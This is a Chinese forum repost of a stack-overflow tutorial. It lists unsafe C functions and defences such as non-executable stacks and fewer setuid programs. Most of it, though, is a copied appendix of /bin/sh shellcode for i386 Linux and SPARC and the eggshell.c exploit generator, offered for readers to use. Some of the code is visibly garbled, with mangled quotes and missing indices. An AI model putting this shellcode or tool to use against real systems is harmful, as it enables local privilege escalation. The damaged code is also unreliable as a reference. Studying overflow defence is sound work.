标题:
[转帖]堆栈溢出系列讲座(6)
[打印本页]
作者:
青蛙
时间:
2007-1-10 20:55
标题:
[转帖]堆栈溢出系列讲座(6)
堆栈溢出系列讲座(6)(转) 防范堆栈溢出 1:寻找漏洞 我们已经看到堆栈溢出的危害,那么什么程序会有堆栈溢出的隐患呢? 首先是strcpy,很多问题都出在他身上。 其他的,还有: 1:很多与字符串操作相关的函数都是有问题的。它们是: strcat(), strcpy(),sprintf(), and vsprintf()。 2:带有可变参数的函数,比如:所有printf的变种,(除了printf) fprintf()... 因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合, 输出到buffer中去,所以都有堆栈溢出的危险。 3:内部调用了strcpy的函数 gets(),getc(), fgetc(), or getchar()... 4:scanf()以及所有scanf的变种。 vcscanf(),sscanf(),fscanf()... 因为scanf可以接受参数%s,来进行串复制,而不考虑串的边界。 有以上函数的程序,都是危险的。 另外,所有链接了Xt lib的程序,都是有问题的程序。 在linux里面,你可以查找所有的原代码,grep上述这些函数。如果没有原代码,你可以 使用strings命令察看目标程序里面的字符串,看看有没有:"input什么的","%s"什么的 ,还可以使用()命令来察看程序使用了哪些库函数。 一旦发现有隐患的程序,你就可以使用前面讲过的各种方法来试验。相信很快就可以 发现一个漏洞并且得到shell。 2:防范措施: 当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗!我们的 shellcode由于是在堆栈里面,所以将会彻底没戏。但是,这需要操作系统的支持才可以 。solaris现在已经可以实现这个功能.Linux目前我不清楚。 另外,不要随便编写setuid的程序。而且在写setuid的程序的时候,千万要小心,不要 出现上面说的哪些问题函数,或者,附加边界检查。 你的机器上的setuid程序的个数和名字,你应该定期检查。对于很少用的setuid程序, 干脆就去掉setuid位得了。 最后,新的漏洞是层出不穷的,精华区里面有很多安全网址。 你(网管)应该每天去这些地方拜会。希望你紧跟时代,勤打补丁。 3:附录: 下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And Profit” 的附录考过来的。主要是为了方便大家使用,省得找了。 Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------ jmp0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int$0x80 xorl %ebx,%ebx movl %ebx,%eax inc%eax int$0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------ sethi 0xbd89a, %l6 or%l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st%sp, [%sp - 8] st%g0, [%sp - 4] mov 0x3b, %g1 ta8 xor %o7, %o7, %o0 mov 1, %g1 ta8 ------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------ sethi 0xbd89a, %l6 or%l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st%sp, [%sp - 8] st%g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta%l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta%l5 + 1 ------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------ char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } ------------------------------------------------------------------------ eggshell.c /* * eggshell v1.0 * * Aleph One /
aleph1@underground.org */ void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case ';a';: align = atoi(optarg); break; case ';b';: bsize = atoi(optarg); break; case ';e';: eggsize = atoi(optarg); break; case ';o';: offset = atoi(optarg); break; case ';?';: usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can';t allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can';t allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode
; bof[bsize - 1] = ';\0';; egg[eggsize - 1] = ';\0';; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a
] [-b
] [-e
] [-o
]\n"); } ------------------------------------------------------------------------
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2